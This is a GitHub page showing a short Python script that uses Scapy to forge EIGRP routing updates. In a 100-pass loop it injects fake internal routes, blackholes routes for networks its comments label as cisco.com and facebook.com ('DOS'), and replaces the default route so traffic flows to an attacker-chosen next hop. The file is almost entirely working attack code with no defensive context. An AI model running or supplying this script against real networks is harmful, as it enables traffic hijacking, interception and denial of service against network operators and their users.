-
Notifications
You must be signed in to change notification settings - Fork 150
/
Copy patheigrp-route-injection.py
45 lines (36 loc) · 1.72 KB
/
eigrp-route-injection.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#!/usr/bin/env python3
#HACK EIGRP - inject fake routes
#Import time so we can set a sleep timer
import time
#Import scapy
from scapy.all import *
#Import EIGRP
load_contrib('eigrp')
#For Loop to send multiple packets
for i in range (0,100):
#Inject fake route 192.168.100.0
sendp(Ether()/IP(src="192.168.1.248",dst="224.0.0.10") \
/EIGRP(opcode="Update", asn=100, seq=0, ack=0, \
tlvlist=[EIGRPIntRoute(dst="192.168.100.0", nexthop="192.168.1.248")]))
#Inject fake route 192.168.101.0
sendp(Ether()/IP(src="192.168.1.248",dst="224.0.0.10") \
/EIGRP(opcode="Update", asn=100, seq=0, ack=0, \
tlvlist=[EIGRPIntRoute(dst="192.168.101.0", nexthop="192.168.1.248")]))
#DOS cisco.com - you will need to check which network is used
sendp(Ether()/IP(src="192.168.1.248",dst="224.0.0.10") \
/EIGRP(opcode="Update", asn=100, seq=0, ack=0, \
tlvlist=[EIGRPIntRoute(dst="72.163.4.0", nexthop="192.168.1.248")]))
#DOS facebook.com - you will need to check which network is used
sendp(Ether()/IP(src="192.168.1.248",dst="224.0.0.10") \
/EIGRP(opcode="Update", asn=100, seq=0, ack=0, \
tlvlist=[EIGRPIntRoute(dst="157.240.214.0", nexthop="192.168.1.248")]))
#Change default route
sendp(Ether()/IP(src='192.168.1.248',dst='224.0.0.10') \
/EIGRP(opcode="Update", asn=100, seq=0, ack=0, \
tlvlist=[EIGRPExtRoute(dst='0.0.0.0', nexthop='192.168.1.248', \
originrouter='192.168.1.248', prefixlen=0, flags="candidate-default")]))
time.sleep(2)
#Credits:
#Warning: You visit any sites listed at your own risk.
#https://scapy.readthedocs.io/_/downloads/en/latest/pdf/
#https://scapy.ml.secdev.narkive.com/mKiGyM29/scapy-eigrp-layer-use-cases